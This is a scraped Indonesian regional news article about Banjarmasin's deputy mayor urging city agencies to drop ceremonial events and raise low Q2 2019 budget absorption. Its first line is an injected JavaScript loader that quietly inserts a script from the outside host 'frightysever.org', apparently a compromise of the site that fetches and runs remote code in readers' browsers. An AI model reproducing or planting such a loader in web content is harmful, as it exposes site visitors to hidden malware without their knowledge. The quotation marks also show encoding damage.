(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Serapan anggaran memasuki akhir triwulan kedua tahun 2019, Wakil Walikota Banjarmasin mengimbau seluruh SKPD lingkup Pemerintah Kota Banjarmasin menekan kegiatan seremonial. Ia meminta aksi nyata pelayanan publik yang mengacu kebutuhan masyarakat di Kota Banjarmasin.
Menurutnya, serapan anggaran masih dikisaran angka 15 persen, dan jauh dari target yang seharusnya mampu mencapai 50 persen pada triwulan kedua tahun 2019.
“Ini kan sudah akhir triwulan kedua, seharusnya kalau sudah akhir triwulan kedua angka ini harus mendekati 50 persen. Tetapi kenyataannya hanya sampai 15 persen, jadi harus dikurangi lah kegiatan kegiatan seremonial, lebih baik mengutamakan pelayanan publik di setiap SKPD,†ucap Hermansyah.
Menurut Hermansyah, pengadaan tunjangan kinerja (tukin) pada seluruh SKPD mestinya dapat mengoptimalkan kinerja ASN. Namun mengacu serapan anggaran pada triwulan kedua, Hermansyah berkata ada indikasi kinerja ASN kurang optimal dan jauh di bawah target.
“Apalagi ada tukin, seharusnya mereka ini bisa maksimal, ini untuk mencapai target saja masih jauh. Pokoknya ke depan akan saya lakukan pengawasan dengan ketat, jangan sampai besar pasak daripada tiang, besar gaji ASN disetiap SKPD ketimbang hasil dari kinerja mereka,†ujarnya.
Hermansyah siap membantu mengoptimalkan serapan anggaran jika SKPD menemui kendala. Pihaknya akan memudahkan administrasi maupun hal-hal lainnya yang diperlukan setiap SKPD, tanpa menabrak aturan.
Ia bersama Walikota Ibnu Sina siap membantu SKPD, baik lewat perwali apabila ditemui kendala. “Kemudian secara administrasi juga, kami akan membantu, asalkan serapan anggaran di triwulan kedua yang tadinya rendah bisa dikejar saat triwulan ketiga mendatang. Jangan mementingkan yang seremonial lah dulu, karena ini berdampak pada serapan anggaran,†kata Hermansyah.
Sementara itu, Kepala Bagian Humas Protokol Setdako Banjarmasin, Yusna Irawan, menyebut SKPD yang masih rendah serapan anggarannya bukan lantaran rendahnya kinerja ASN, melainkan alasan teknis dan sistem dari sebuah program yang dilaksanakan oleh SKPD.
Yusna mencontohkan Disperkim yang serapan anggarannya terendah. “Saya lupa berapa angka pastinya, mereka itu serapan anggarannya dimulai dari awal triwulan ketiga yakni pada bulan Juni mendatang, dan yang tertinggi ada Dinas Kominfo. Mereka melakukan penyerapan sejak awal tahun yang lalu, jadi ini semua memang karena jawdwalnya demikan,†pungkasnya. (mario)
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 orang Penjabat (Pj) Kepala… Read More
Gubernur Kalsel: Percuma Rencana Kalau Tidak Dilakukan Read More
KANALKALIMANTAN.COM, JAKARTA – Keberhasilan Pemerintah Kabupaten Banjar dalam upaya mewujudkan tata kelola pemerintahan yang bersih… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More
KANALKALIMANTAN.COM, BATULICIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar acara Capacity… Read More
KANALKALIMANTAN.COM, AMUNTAI – Gubernur Kalimantan Selatan H Muhidin meninjau langsung warga terdampak banjir di Desa… Read More
This website uses cookies.